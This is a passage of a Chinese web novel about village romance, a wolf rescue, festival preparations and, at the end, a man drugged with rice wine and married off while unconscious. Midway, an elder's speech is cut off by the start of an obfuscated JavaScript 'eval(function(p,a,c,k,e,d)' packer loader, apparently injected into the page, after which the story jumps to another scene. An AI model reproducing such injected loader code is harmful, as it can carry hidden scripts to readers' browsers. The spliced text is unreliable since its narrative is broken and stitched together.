她长到十六岁，见过的后生不算少。寨子里的阿哥大多黝黑健壮，说话大声大气，笑起来带着山野的粗犷；邻寨的后生们也多是爽朗性子，会吹芦笙会唱山歌，却少了许祭身上的那股劲儿。他站在那里，穿着干净的短棉袄，眉眼弯弯的，笑起来像个没长大的孩子，带着城里少年的斯文干净，又因为连日来跟着沈司南逛遍了苗寨的山林溪涧，添了几分山野的鲜活气，像雪后初晴的阳光，晃得人移不开眼。 许祭扔完手里的摔炮，转身朝沈司南伸手：“哥，再给我几个！我要和水秋梨比谁摔得响！”他的声音清亮，带着少年人特有的清脆，像山雀在枝头啼叫。 沈司南无奈地笑了笑，从口袋里摸出一把摔炮递给他，伸手揉了揉他的头发，指尖拂过他发梢的雪粒：“慢点玩，别摔着自己。”他的声音温和，带着苗寨人特有的醇厚，像山涧的清泉，听着就让人心里安稳。 许祭欢呼一声，攥着摔炮就冲进了雪地里，正好撞上跑过来的水秋梨。水秋梨穿着嫩绿色的棉袄，手里也攥着摔炮，看见许祭就嚷嚷：“许祭许祭，我们来比谁摔的炮仗多！” “比就比！”许祭梗着脖子，把摔炮往雪地里一撒，噼里啪啦的响声顿时连成一片，雪沫子溅了他一身。他也不恼，反而笑得更欢了，伸手抹了把脸上的雪，露出一双亮晶晶的眼睛。 苏宁枝靠在竹篱笆上，手里的竹篮微微晃动，篮子里的苗绣帕子滑出一角，她却浑然不觉。她看着许祭在雪地里跑跳的身影，看着他被雪沾湿的发梢，看着他笑起来时露出的小虎牙，心里像是被什么东西轻轻撞了一下，软软的，暖暖的，连带着周遭的雪色都变得温柔起来。 她想起芦笙节那天，也曾见过他。那时他站在芭蕉树下，手里攥着一支小芦笙，是沈司南亲手做的，他吹得不成调子，惹得满场哄笑。他红着脸躲到沈司南身后，像只受惊的小兔子，那模样让她忍不住笑出了声。只是那时人多，她的目光在他身上停了一瞬，便被周遭的热闹淹没了。 却没想到，今日在沈家的院子外，会这样猝不及防地撞见他。撞见他笑闹的模样，撞见他眼底的星子，撞见他满身的少年意气。 雪越下越大，鹅毛般的雪花落在苏宁枝的头发上、肩膀上，她却丝毫没察觉。她看见许祭被余娥的摔炮吓了一跳，蹦起来老高，引得姑娘们一阵哄笑；看见他追着梨春梦跑，手里的摔炮扔得漫天都是；看见他跑累了，蹲在廊檐下，接过沈司南递来的烤红薯——那红薯是沈司南用苗寨特有的柴火烤的，外皮焦黑，内里金黄软糯，许祭啃得满脸都是红薯渣，沈司南无奈地帮他擦着脸，他却歪着头笑，眉眼弯弯的。 苏宁枝的嘴角，也跟着微微扬了起来。 她想起阿婆说过的话，说人这一辈子，总会遇见一个让人心跳加速的人，遇见的时候，就像春天的第一缕风吹过心田，像夏天的第一场雨落在眉间，像秋天的第一片叶飘在肩头，像冬天的第一场雪落在掌心，明明是寻常的光景，却因为那个人的出现，变得格外不一样。 那时她还不懂，只觉得阿婆是在说山歌里的故事。可此刻，看着雪地里那个笑得眉眼弯弯的少年客人，她忽然就懂了。 原来真的会有这样一个人，只是远远看着，就觉得满心欢喜；只是听着他的笑声，就觉得整个冬天都变得温暖起来；只是看着他的身影，就觉得这漫天飞雪，都成了最好的背景。 许祭像是察觉到了她的目光，忽然转过头，朝竹篱笆的方向望了过来。 苏宁枝的心跳骤然漏了一拍，像被踩住了尾巴的小兔子，连忙往后退了一步，藏在青藤后面。她听见自己的心跳声，咚咚咚的，像擂鼓一样，震得她耳膜发颤。她不敢再往外看，只听见院子里传来许祭的声音：“哥，外面好像有人。” “许是路过的寨邻吧。”沈司南的声音温和，带着淡淡的笑意，“别管了，快把红薯吃完，小心着凉。”他是土生土长的苗寨人，待人接物向来温和，对这寨子里的一草一木、一人一事，都带着几分熟稔的暖意。 苏宁枝捂着发烫的脸颊，靠在冰冷的竹篱笆上，听见院子里的笑声又响了起来。她等了好一会儿，才敢悄悄探出头，却看见许祭已经重新冲进了雪地里，和姑娘们闹作一团，天蓝色的身影在雪地里格外显眼，像一朵盛开的蓝莲花。 雪还在飘，落在她的发梢上，融化成冰凉的水珠，顺着脸颊滑落。她却一点都不觉得冷，心里像是揣着一个热乎乎的烤红薯，暖意从心口蔓延到四肢百骸。 她轻轻提起竹篮，转身慢慢往回走。脚步很慢，像是舍不得离开。雪地里留下一串浅浅的脚印，很快又被新的雪花覆盖。 走到自家吊脚楼前，她停下脚步，回头望了望沈家院子的方向。院子里的笑声还在飘出来，伴着摔炮的噼啪声，格外热闹。她抬手摸了摸发烫的脸颊，嘴角的笑意，怎么都压不下去。 她想，明天，她要早点起来，去沈家院子附近走走。说不定，还能再看见那个天蓝色的身影。 说不定，还能听见他清亮的笑声，看见他笑起来时，那两颗亮晶晶的小虎牙。 雪停了一夜，苗寨的清晨浸在清冽的寒气里，瓦檐上的积雪化了水，顺着木棱往下滴，在青石板上砸出一个个小小的水洼，映着天边的淡青色晨光。 苏宁枝起得格外早，天刚蒙蒙亮就坐在铜镜前捯饬自己。她把辫子梳得光溜溜的，换了件新做的水粉色夹袄，领口绣着细碎的缠枝莲，又从梳妆匣里翻出阿娘去年给她的银蝴蝶簪，小心翼翼地簪在辫根。她对着镜子照了又照，指尖轻轻摩挲着簪头的纹路，脸颊微微发烫，心里像揣了只扑腾的小雀。 早饭也没心思多吃，扒了两口糯米粥，就拎着个竹篮往外走。竹篮里铺着块素色的苗绣帕子，帕子上摆着几个热乎乎的糯米粑，是她凌晨起来跟着阿婆学做的，甜馅里裹了碾碎的花生和芝麻，闻着就香。 沈家的吊脚楼就在寨子东头，离她家不远。她踩着青石板路慢慢走，脚步放得极轻，生怕步子快了，惊飞了檐下的麻雀，也惊乱了自己的心。路过溪边时，她还特意停下，弯腰掬起一捧清水拍了拍脸，冰凉的水意让发烫的脸颊稍稍降温，却压不住心底的雀跃。 沈家的院门没关严，留着一道缝。苏宁枝站在门外，手指攥着竹篮的提手，攥得指节发白。她听见院子里传来竹笛的声音，清越婉转，是沈司南在吹，笛声里还混着许祭的笑声，脆生生的，像山涧的泉水。 她深吸一口气，轻轻推开院门。 院子里的积雪被扫到了角落，露出青石板的原色。沈司南站在廊下，手里握着那支刻着细痕的竹笛，晨光落在他靛蓝色的棉袍上，柔和了眉眼。许祭则蹲在院角的梅树下，手里捏着一根树枝，正逗着一只蹦蹦跳跳的灰兔子，天蓝色的棉袄在雪色的映衬下，格外鲜亮。 听见门响，两人同时转过头来。 许祭看见她，眼睛一亮，手里的树枝掉在了地上，他连忙站起身，拍了拍手上的雪沫，笑着喊：“是你呀！昨天在篱笆外的姐姐！” 苏宁枝的心跳猛地漏了一拍，原来他还记得。她的脸颊更红了，提着竹篮往前走了两步，声音细得像蚊子哼：“我、我来给你们送点糯米粑，刚做的，还热乎。” 沈司南放下竹笛，唇边噙着温和的笑意：“是宁枝啊，快进来坐。” 许祭已经兴冲冲地跑了过来，目光落在竹篮上，鼻尖动了动：“好香啊！” 苏宁枝把竹篮递给他，指尖不小心碰到他的手背，冰凉的触感像电流一样窜过，她连忙缩回手，低下头，不敢看他的眼睛：“尝尝看，甜的。” 许祭也没在意，拿起一个糯米粑就咬了一大口，花生芝麻的甜香在嘴里散开，他眼睛弯成了月牙：“好吃！比阿婆做的还甜！” 沈司南走过来，无奈地揉了揉他的头发：“慢点吃，没人跟你抢。”又转头对苏宁枝道，“麻烦你跑这一趟，还特意做了糯米粑。” “不麻烦的。”苏宁枝抬起头，目光落在许祭身上，他吃得满脸都是碎屑，像只偷吃东西的小松鼠，她忍不住笑了笑，从口袋里掏出一方绣着小雏菊的手帕，递给他，“擦擦嘴。” 许祭接过手帕，愣了一下，随即嘿嘿一笑，抬手擦了擦脸，手帕上沾了点碎屑，他也不在意，攥在手里，继续啃着糯米粑。 晨光渐渐暖了，漫过梅树的枝桠，落在三人身上。沈司南重新拿起竹笛，笛声又响了起来，清越的调子绕着院子打转。许祭吃完了糯米粑，又蹲回梅树下逗兔子，时不时转头跟苏宁枝说两句话，问她苗寨哪里的雪景好看，问她知不知道后山有没有野兔子。 苏宁枝坐在廊下的竹凳上，听着笛声，看着许祭的身影，心里暖洋洋的。她想，原来喜欢一个人，连这样安安静静的时光，都觉得格外好。 风吹过梅树枝，抖落了枝头的积雪，雪沫子簌簌落下，落在许祭的发梢上，也落在苏宁枝的心上，轻轻的，软软的。 雪后的后山还浸在冷冽的寒气里，松枝上压着厚厚的雪团，风一卷，簌簌地往下掉，砸在枯枝败叶上发出细碎的“沙沙”声。林间的积雪没过脚踝，踩下去便是一个深深的坑，拔脚时带着“咯吱咯吱”的闷响，雪沫子溅得裤脚全湿。 绫司司挎着个编得精巧的小竹篮，篮沿上系着浅青色的流苏，随着脚步轻轻晃荡。她穿着那件浅青色的棉袄，领口滚着一圈柔软的兔毛，裤脚用青布带扎得紧紧的，防止雪沫灌进去。手里攥着一根削得尖尖的竹棍，棍头还留着新鲜的竹屑，她小心翼翼地拨开挡路的枝丫，枯枝上的雪落了她一头一脸，凉丝丝的。 她是听寨子里的老人说，后山的雪地里常有野兔出没，雪天里兔子跑不快，正好抓一只回去，给大家炖一锅热乎乎的兔肉汤。雪地里印着几串浅浅的野兔脚印，像细碎的梅花，她循着脚印往前走，越走越深，渐渐听不到寨子里的鸡鸣犬吠，只有风穿过林梢的呼啸声。 忽然，脚下踩着一块覆雪的冰面，只听“咔嚓”一声脆响，冰面碎裂。她惊呼一声，整个人不受控制地朝着斜坡下滚去，竹篮甩在一边，里面的胡萝卜诱饵撒了一地，滚进雪缝里不见了。她的手肘狠狠磕在一块凸起的石头上，疼得她倒抽一口冷气，温热的血珠渗出来，很快就被寒气冻得发僵。她挣扎着想要爬起来，却发现右脚脚踝传来一阵钻心的痛，稍微一动，疼得眼泪都涌了上来，根本使不上力气。 天色渐渐阴沉下来，铅灰色的云压得很低，风卷着雪沫子往衣领里钻，冷得她牙齿都在打颤。她缩在斜坡下的避风处，后背贴着冰冷的石壁，怀里抱着受伤的脚踝，鼻尖冻得通红，眼眶微微发热，心里涌起一阵后怕。 与此同时，梨春梦发现绫司司一上午都没回来，竹篮和棉袄都不见了，心里隐隐不安。她揣着一把磨得锃亮的砍柴刀，刀鞘上缠着红布条，披上一件厚厚的水红色棉袄就往后山跑，蓬松的裙摆扫过雪地，溅起一片细碎的雪粒。她嘴里大声喊着绫司司的名字：“司司！司司你在哪儿？听见了吗？” 喊声被风吹散，只有簌簌的落雪声回应她。梨春梦越走越急，额头上渗出细密的汗珠，热气氤氲成白雾。她循着绫司司留在雪地里的脚印往前走，走到斜坡附近时，忽然听见一阵低沉的“呜呜”声，像野兽的呜咽，在寂静的林子里格外渗人。 她心里一紧，握紧了砍柴刀的刀柄，指节因为用力而泛白。她慢慢拨开挡在身前的树枝，只见两只野狼正蹲在斜坡下，灰扑扑的皮毛上沾着雪粒，绿莹莹的眼睛在雪雾里闪着幽冷的光，涎水顺着尖利的獠牙往下滴，落在雪地里，瞬间凝成小小的冰珠。它们死死地盯着缩在那里的绫司司，前爪在雪地里不安地刨着，显然已经把她当成了猎物。 “司司！”梨春梦的声音都在发颤，却还是壮着胆子大喊一声，猛地抽出砍柴刀，刀刃在灰蒙蒙的天光下闪着冷光。她扬起砍柴刀朝野狼挥舞：“滚开！不许碰她！” 野狼被惊动，缓缓转过头看向梨春梦，喉咙里发出威胁的低吼，其中一只体型较大的野狼还缓缓站起身，一步步朝她逼近，爪子踩在雪地里，留下一个个深深的爪印。梨春梦吓得腿都软了，后背紧紧贴着树干，牙齿打颤，却死死地挡在斜坡前，不敢后退一步。 绫司司看着梨春梦单薄的身影，急得眼泪都掉下来了，声音带着哭腔：“春梦，你快走！别管我！它们会吃了你的！” “我不走！”梨春梦咬着牙，眼泪混着汗水往下掉，却依旧死死握着刀，“要走一起走！” 这一幕，恰好被寻来的许祭看见。 他本是跟着沈司南在后山砍柴，走散后循着梨春梦的喊声找过来。看到野狼的那一刻，许祭的脸瞬间白了，嘴唇哆嗦着，却想起沈司南说过，野兽怕尖锐的声响。他慌忙摸出怀里那支沈司南亲手做的竹笛，笛身上还刻着“祭”字，他哆哆嗦嗦地把竹笛凑到唇边，用尽全身力气吹了起来。 笛声算不上悠扬，甚至有些杂乱无章，却带着少年人急促的气息，尖锐地刺破了林间的寂静。许祭一边吹，一边朝着野狼的方向大喊：“哥！沈司南哥！这边！有野狼！” 野狼被这突如其来的笛声惊得愣了愣，绿莹莹的眼睛里闪过一丝忌惮，朝着许祭的方向龇了龇牙。 就在这时，一道颀长的身影从林间疾冲而出。沈司南循着笛声和喊声赶来，手里握着一把锋利的柴刀，刀身雪亮。他穿着靛蓝色的对襟棉袍，因为跑得急，衣襟敞开着，露出里面的白衬衣，额头上的汗珠混着雪沫往下淌。他的脸色冷峻，眉眼间带着杀气，脚步带起的雪沫子飞溅，整个人像一头蓄势待发的豹子。 他猛地挥刀砍向离梨春梦最近的那只野狼的后腿，动作干脆利落，只听“噗”的一声，刀刃划破了野狼的皮毛，鲜血涌出来，染红了雪地。 野狼吃痛，发出一声凄厉的嚎叫，往后退了几步，警惕地盯着沈司南，绿莹莹的眼睛里满是忌惮。沈司南挡在许祭、梨春梦和绫司司身前，脊背挺得笔直，像一棵苍劲的青松。他眼神锐利如鹰，死死地盯着那两只野狼，嘴里发出一声低沉的喝斥。他是土生土长的苗寨人，熟悉山林里的规矩，这声喝斥带着山野间独有的威慑力，竟让那两只野狼不敢再上前，只是不甘心地在原地打转，喉咙里低吼连连。 许祭的手还在抖，竹笛从唇边滑落，掉在雪地里，他却顾不上捡，只是死死地盯着野狼，心脏狂跳得快要冲破胸膛。 僵持片刻，沈司南缓缓后退，一只手护着身后的许祭，另一只手示意梨春梦扶着绫司司。他脚步沉稳，目光始终没有离开野狼，直到退到林间开阔处，才护着三人往林子外走。野狼在后面不甘心地低吼着，却始终不敢追上来，直到几人的身影消失在林间，才悻悻地转身，叼起雪地里的诱饵，钻进了密林深处。 走到安全地带，沈司南才松了口气，紧绷的肩膀缓缓垮下来。他连忙蹲下身，小心翼翼地查看绫司司的伤势，指尖轻轻碰了碰她的脚踝，那里已经肿得像个馒头。“怎么样？能不能动？”他的声音带着一丝不易察觉的后怕。 绫司司的眼眶红红的，摇了摇头，声音哽咽：“我没事……谢谢你，沈司南。” 梨春梦瘫坐在雪地里，后怕地拍着胸口，眼泪掉个不停，嘴里喃喃自语：“吓死我了……吓死我了……刚才差点就……” 许祭捡起雪地里的竹笛，笛身沾了雪粒，冰凉刺骨。他看着沈司南，眼眶泛红，声音带着哭腔：“哥……刚才好险……幸好笛声有用……” 沈司南伸手拍了拍他的肩膀，掌心带着温热的温度，又看了看惊魂未定的梨春梦，眼底的冷峻渐渐褪去，只剩下后怕和庆幸：“都没事就好。以后不许再单独来后山了，雪天里野兽饿极了，太危险。” 风还在吹，雪还在落，阳光透过林隙洒下来，碎金般落在他们身上，暖融融的。沈司南背起绫司司，许祭攥着竹笛跟在身后，梨春梦提着砍柴刀，三人互相搀扶着，踩着深深的积雪，慢慢往寨子的方向走。林间的脚印被新雪覆盖，只留下一串浅浅的痕迹，渐渐消失在茫茫雪雾里。 许祭背着绫司司踏进沈家院子时，正围坐在火塘边烤火的姑娘们瞬间站了起来。 慕栀凝最先反应过来，快步上前扶住绫司司的胳膊，指尖触到她冻得冰凉的手背，眉头瞬间蹙起。魏妱绒也跟着凑过来，看见绫司司肿得老高的脚踝和手肘上结痂的血痕，倒抽一口冷气：“我的天，这是遇上什么了？” 落荭和水秋梨连忙端来干净的木盆，倒上温热的姜水。许祭小心翼翼地将绫司司放下来，半蹲在她身前，让她的胳膊搭在自己肩膀上，另一只手稳稳托住她的后腰，声音带着后怕的轻颤：“司司姐，你慢点动，我扶你去火塘边坐。” 他的个子不算高，扶着绫司司时特意踮了踮脚，努力让她站得平稳些。少年的肩膀瘦瘦的，却透着一股执拗的韧劲，一步一步慢慢挪着，把绫司司扶到火塘边的竹椅上坐好，又细心地帮她把受伤的右脚抬起来，搁在旁边的矮凳上，还不忘扯过一旁的薄毯，轻轻盖在她的腿上。 梨春梦跟在后面，一进门就红了眼，攥着绫司司的另一只手，哽咽着把后山遇狼的事断断续续说了一遍。苏宁枝听得心惊胆战，连忙把手里刚温好的甜酒递过来，眼眶红红的：“司司姐，快喝点甜酒暖暖身子，吓坏了吧？” 火塘里的柴火噼啪作响，暖意漫过全身。沈司南蹲在地上，用温热的姜水轻轻擦拭着绫司司手肘的伤口，动作轻柔得像怕碰碎了什么。许祭站在一旁，手里攥着那支沾了雪的竹笛，笛身上的“祭”字被火光映得发亮，他看着绫司司苍白的脸，满心愧疚：“都怪我，要是我早点把笛吹得再响一点，你就不会受这么多苦了。” 绫司司看着他愧疚的模样，又想起他在林间吹笛引开野狼的样子，忍不住抬手揉了揉他的头发，声音带着点沙哑：“不怪你，是我自己非要去后山的。你吹的笛声，可救了我们呢。” 梨霄宫端来一碗热气腾腾的鸡蛋羹，递到她手里，眉眼间满是心疼：“傻丫头，以后可不许这么莽撞了。好好养伤，我们天天陪着你。” 姑娘们七嘴八舌地应和着，有的说要给她炖骨头汤补身子，有的说要陪她在廊下晒太阳，有的说要给她绣好看的帕子解闷。许祭也连忙点头，挺起胸膛保证：“司司姐，我以后每天都扶你在院子里散步，还每天给你吹笛子听，吹最拿手的曲子！” 火光映着一张张关切的脸庞，暖融融的，驱散了后山的寒意和惊惧。绫司司捧着温热的鸡蛋羹，看着身边的人，忽然觉得，在这苗寨的冬日里，有这群人陪着，真好。 暮色漫进沈家院子时，沈司南掀着竹帘走了进来，手里拎着一只肥硕的野兔，皮毛雪白雪白的，还沾着些林间的碎雪。 他刚从后山回来，靛蓝色的棉袍下摆沾了泥渍，发梢上凝着薄薄的霜花，眉眼间却带着温和的笑意。“下午在林子里设的套，正好逮着一只，给司司炖汤补身子。”他说着，将兔子递给迎上来的梨霄宫，又朝火塘边望了一眼。 绫司司正靠在竹椅上，腿上盖着厚毯，听见声音转过头来，眼里漾起笑意。许祭坐在她身边，手里攥着竹笛，正絮絮叨叨地说着什么，看见沈司南手里的兔子，眼睛一亮：“哇！好大的兔子！炖出来的汤肯定很香！” 沈司南走过去，伸手轻轻碰了碰绫司司搁在矮凳上的脚踝，声音放得很轻：“今天有没有好点？”绫司司点点头，弯着嘴角道：“好多了，谢谢你，沈司南。” 梨霄宫手脚麻利地收拾好兔子，吊在院角的铜锅里炖上，添了姜片和山里采的野菌，柴火噼啪作响，很快，浓郁的肉香就漫了满院。 姑娘们围在火塘边，闻着锅里飘来的香气，叽叽喳喳地说着话。沈司南坐在一旁，听着许祭眉飞色舞地讲着吹笛吓狼的经过，偶尔抬手添一块柴火，火光映着他的侧脸，温和又沉静。 锅里的汤咕嘟咕嘟地滚着，暖意裹着香气，把整个院子都填得满满的。绫司司看着眼前的热闹，心里暖融融的，脚踝的疼痛，也好像轻了不少。 苗寨的祭女大典将至，寨口的枫香树早已挂上了红绸，风一吹，绸带簌簌作响，像极了远古传来的祈愿声。落神披着一身绣满缠枝纹的青布长衫，银发用木簪绾在脑后，手里攥着一枚刻着苗纹的木牌，踩着青石板路，不紧不慢地往沈家吊脚楼走。 她是苗寨的大巫祝，掌管着寨子里的祭祀礼仪，眉眼间带着岁月沉淀的肃穆，步子踏在雪融后的泥地上，悄无声息。 沈家院子的门虚掩着，落神抬手轻轻叩了叩，不等里面应声，便推门走了进去。 沈司南正坐在廊下打磨竹笛，靛蓝色的棉袍衬得他身姿挺拔，阳光落在他低垂的眉眼上，柔和了轮廓。听见动静，他抬起头，看见落神，连忙起身行礼：“阿婆。” 落神点点头，目光扫过院子里晾晒的草药，又落在沈司南手里的竹笛上，那笛身光滑温润，是用后山百年的湘妃竹制成的。她缓步走到廊下的竹凳旁坐下，将木牌放在石桌上，声音带着老辈人特有的醇厚：“祭女大典要到了，今年的祭祀，我想让你来当。” 沈司南打磨竹笛的手一顿，抬眸看向落神，眼里闪过一丝讶异。苗寨的祭祀，向来是由寨中最懂音律、最通山林规矩的人担任，需得在大典上吹笛引神，祈求来年风调雨顺。 “阿婆，我……”沈司南迟疑着开口，“我怕担不起这份重任。” 落神抬手打断他的话，指尖轻轻摩挲着石桌上的木牌，木牌上的纹路凹凸有致，是代代巫祝传下来的信物。“你自小跟着你阿爷学笛，笛声能引山雀、能安溪流，这苗寨里，再也找不出比你更合适的人。”她抬眼看向沈司南，目光里带着不容置疑的笃定，“况且， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许祭还想再说些什么，院门外忽然传来一道爽朗的男声：“司司！哥哥来看你了！” 两人同时转头，就见绫司司的哥哥绫罗大步走进院子。他穿着件挺括的藏青色风衣，头发梳得整齐，手里拎着个牛皮纸袋，眉眼间和绫司司有几分相似，透着一股城里人的干练利落。 绫司司听见声音，连忙从竹椅上撑起身，笑着喊：“哥！你怎么来了？” 绫罗快步走到她身边，先仔细打量了一番她的脚踝，见裹着药布，眉头微微蹙起，又很快舒展开：“听家里说你摔了，不放心，特意请了假过来。”说着把牛皮纸袋递给她，“给你带了些城里的糕点，还有你爱吃的蜜饯。” 许祭凑过来，好奇地眨眨眼：“司司姐，这是你哥哥呀？” 绫司司笑着点头，刚要介绍，就见梨霄宫端着一碗刚温好的甜酒从屋里出来。她穿着素白色的夹袄，头发松松地挽着，鬓边别着一朵小小的绒花，晨光落在她脸上，柔和得像一汪春水。 绫罗的目光落在梨霄宫身上，脚步忽然顿住，手里的牛皮纸袋微微一晃，竟忘了要往前走。他见过不少城里的姑娘，却从没见过这样的人，眉眼间带着山野的清冽，又藏着温柔的气韵，像雪后初晴的山茶花，让人移不开眼。 梨霄宫也注意到了他，落落大方地颔首一笑：“你是司司的哥哥吧？快坐，喝碗甜酒暖暖身子。” 她的声音像山涧的清泉，清亮又温润。绫罗的脸颊倏地红了，连忙收回目光，有些局促地应了一声：“谢、谢谢。”他伸手接过甜酒，指尖不小心碰到梨霄宫的手背，一阵温热的触感传来，让他的心跳莫名快了几拍。 院子里的梅花开得正艳，香气漫了满院。许祭还在缠着沈司南问祭祀大典的细节，绫司司靠在竹椅上，看着自家哥哥略显慌乱的模样，忍不住弯起了嘴角。阳光暖洋洋的，落在每个人身上，酿出一段温柔的时光。 雪融后的苗寨石板路，被日头晒得半干，踩上去带着点湿软的泥香。绫罗揣着手，慢悠悠地在街上逛着，手里还拎着给绫司司买的麦芽糖，想着回去给她解闷。 转过街角，就看见沈司南的身影。他穿着那件靛蓝色的对襟棉袍，手里攥着一卷竹篾，正站在竹编铺前，和铺子里的老伯说着话，眉眼温和，侧脸在阳光下显得格外清俊。 绫罗眼睛一亮，快步走上前，抬手拍了拍他的肩膀：“沈司南！这么巧。” 沈司南回头，看见是他，唇边漾开笑意：“是你。怎么出来逛了？” “给司司买些零嘴。”绫罗晃了晃手里的糖纸，又指了指他手里的竹篾，“这是要做新笛子？” “嗯，大典要用的，得选些好料子。”沈司南掂了掂手里的竹篾，“刚和老伯讨了些老竹，韧性好，吹出来的音色更沉。” 两人并肩往街上走，石板路被踩得咯吱响。绫罗想起那日在院子里的初见，忍不住笑道：“说起来，前年在城里的交流会，你那支《引神调》，我现在还记得。当时台下多少人都听呆了，没想到今日能在苗寨遇上你。” 沈司南笑了笑：“不过是祖辈传下来的曲子，登不上大雅之堂。” “这话就谦虚了。”绫罗摆手，语气诚恳，“那曲子里有山风，有溪流，一听就带着苗寨的灵气，可不是随便能吹出来的。” 两人聊着天，路过卖糍粑的摊子，沈司南停住脚步，买了两块热乎的糍粑，递了一块给绫罗：“尝尝，苗寨的红糖糍粑，和城里的不一样。” 绫罗接过来，咬了一口，糯米的软糯混着红糖的甜香在嘴里化开，暖融融的。他看着街上往来的寨民，看着屋檐下挂着的红绸，忽然觉得，这苗寨的日子，竟比城里的车水马龙，更让人心里安稳。 “对了，”绫罗忽然想起什么，转头看向沈司南，眼里带着点试探，“梨霄宫……她平日里，都喜欢做些什么？” 两人并肩走在湿漉漉的石板路上，身后跟着卖糍粑摊子飘来的甜香。绫罗状似随意地问起梨霄宫的喜好，眼神里藏着几分不易察觉的期待。 沈司南脚步微顿，转头看了他一眼，眼底掠过一丝了然。他抬手拂去肩头沾着的一片落叶，声音温和却带着不容置喙的笃定：“霄宫她性子静，平日里就爱绣些苗帕，或是去后山采草药。不过，你大概还不知道，她和邻寨的阿佑，是从小就定下的娃娃亲。” 他顿了顿，看着绫罗瞬间僵住的神情，又补充了一句，语气里带着点苗寨儿女特有的郑重：“婚期就定在祭女大典之后，到时候全寨都会去喝喜酒的。” 风卷着街边红绸的流苏晃过，绫罗攥着糖纸的手指猛地收紧，指尖泛白。方才嘴里糍粑的甜香，霎时间竟变得有些发苦。 绫罗僵了半晌，才缓缓回过神，指尖还攥着被揉得发皱的糖纸，声音里带着一丝自己都没察觉的涩意：“阿佑……是谁？” 沈司南抬眼看向远处连绵的青山，目光里带着几分熟稔的温和：“是邻寨木家的小子，和霄宫一起长大的。”他顿了顿，想起什么似的补充道，“那小子生得壮实，山里的活计样样精通，打猎、采药、编竹筐，都是一把好手，性子也憨厚，对霄宫向来是掏心掏肺的好。” 风掠过街边的树梢，卷起几片新发的嫩叶。绫罗听着，喉结轻轻滚动了一下，没再说话，只是低头看着脚下湿漉漉的石板路，心里那点刚冒头的欢喜，像是被这场不期而至的风，吹得七零八落。 两人正说着话，街口忽然传来一阵爽朗的笑声。 循声望去，就见一个身材高壮的青年挑着两捆柴火大步走来。他穿着粗布短褂，胳膊上的肌肉线条分明，黝黑的脸庞上挂着憨厚的笑，额角还沁着细密的汗珠。 “司南！”青年远远地喊了一声，脚步不停，走到近前才放下担子，冲沈司南咧嘴一笑，露出两排整齐的白牙。 沈司南朝他颔首，眉眼间漾起熟稔的笑意：“阿佑，又去后山砍柴了？” “可不是嘛，”阿佑抬手抹了把额角的汗，目光落在绫罗身上时，友善地笑了笑，“这位是？” “他是绫罗，司司的哥哥，从城里来的。”沈司南侧身介绍道。 绫罗的心猛地一沉，原来这就是阿佑。他看着眼前这个浑身透着山野气息的青年，再想起沈司南方才说的那些话，心里那点涩意愈发浓重。他勉强扯出一抹笑，点了点头：“你好。” 阿佑性子爽朗，没察觉出他的异样，乐呵呵地应了一声，又转头对沈司南道：“我刚从霄宫家那边过来，她托我给你带句话，大典要用的祭布，她已经绣得差不多了，让你有空去取一趟。” “知道了，”沈司南应下，又随口问了句，“你这是挑柴去给霄宫家？” “是啊，”阿佑挠了挠头，脸上的笑意更浓，带着几分腼腆，“她家的柴火快用完了，我砍些送过去，省得她再跑一趟后山。” 风卷着街边的花香吹过，绫罗看着阿佑提起担子时，眉宇间藏不住的关切，忽然觉得，自己方才那点心思，实在是有些多余。 日头渐渐沉了下去，将天边的云染成一片烧红的橘色。绫罗揣着手，漫无目的地走到寨子外的河边。晚风卷着水汽吹过来，带着刺骨的凉，却吹不散他心头那股沉甸甸的涩意。 他找了块光滑的石头坐下，看着河面上粼粼的波光，脑子里全是梨霄宫浅笑的模样，还有阿佑提起她时，眉眼间藏不住的温柔。原来有些缘分，从一开始就注定了结局，他不过是个偶然闯入的过客，连驻足的资格都没有。 河水哗哗地淌着，像是在诉说着无声的叹息。绫罗从口袋里摸出烟，点燃了一支，烟雾袅袅升起，模糊了他眼底的落寞。 “一个人在这儿吹风，不冷吗？” 一道柔媚的女声忽然自身后响起。绫罗回头，看见一个穿着水红色碎花袄的姑娘站在不远处，手里拎着个竹篮，眉眼弯弯的，带着几分说不清道不明的风情。 他认得她，是梨家的远房侄女梨祀娩，平日里总爱往寨子的热闹处凑，眼神里带着几分精明。 绫罗没什么兴致，只是淡淡摇了摇头：“不冷。” 梨祀娩却不在意他的冷淡，自顾自地走到他身边坐下，从竹篮里掏出一个酒葫芦，递到他面前：“看着你心情不大好，喝两口暖暖身子吧。这是我自家酿的米酒，甜得很。” 绫罗本想拒绝，可看着河面上渐渐暗下来的光，心里的烦闷翻涌上来，竟鬼使神差地接了过来。他拔开塞子，仰头灌了一大口，米酒的甜香混着淡淡的酒香滑入喉咙，带着几分暖意。 梨祀娩看着他喝酒的模样，眼底闪过一丝不易察觉的精光，嘴上却柔声劝着：“慢慢喝，别呛着。这日子啊，总有不顺心的时候，喝点酒，睡一觉就好了。” 绫罗没说话，只是一口接一口地喝着。不知是酒意上了头，还是心里的苦太重，他只觉得头越来越沉，眼皮像坠了铅似的，怎么也睁不开。迷迷糊糊间，他好像看见梨祀娩凑近的脸，还听见她低低的笑声，随后便彻底失去了意识。 等绫罗再次醒来时，天已经大亮了。他头痛欲裂地睁开眼，却发现自己躺在一张陌生的床上，身上的衣服被换成了簇新的红绸喜服。 屋子被装点得红彤彤的，贴着大红的喜字，窗外传来寨民的喧闹声。他猛地坐起身，脑子里一片空白，正想下床，就看见梨祀娩端着一碗红糖水走了进来。 她也穿着一身红，脸上带着娇羞的笑意，走到床边，柔声道：“你醒了？身子还难受吗？” 绫罗看着她，又看了看屋里的布置，一股寒意猛地从脚底窜上头顶：“这是……怎么回事？” 梨祀娩放下碗，伸手挽住他的胳膊，声音柔得像水：“昨晚你喝醉了，说喜欢我，非要娶我。寨子里的长辈都见证了，我们已经拜过堂了。从今往后，我就是你的妻子了。” 绫罗浑身一震，像是被一道惊雷劈中。他想起昨晚的米酒，想起那突如其来的眩晕，脸色瞬间变得惨白。他猛地甩开梨祀娩的手，声音发颤：“你给我下药了！” 梨祀娩的脸色白了白，随即又恢复了那副娇羞的模样，眼眶微微泛红：“我是真心喜欢你的……绫罗，我会好好对你的。” 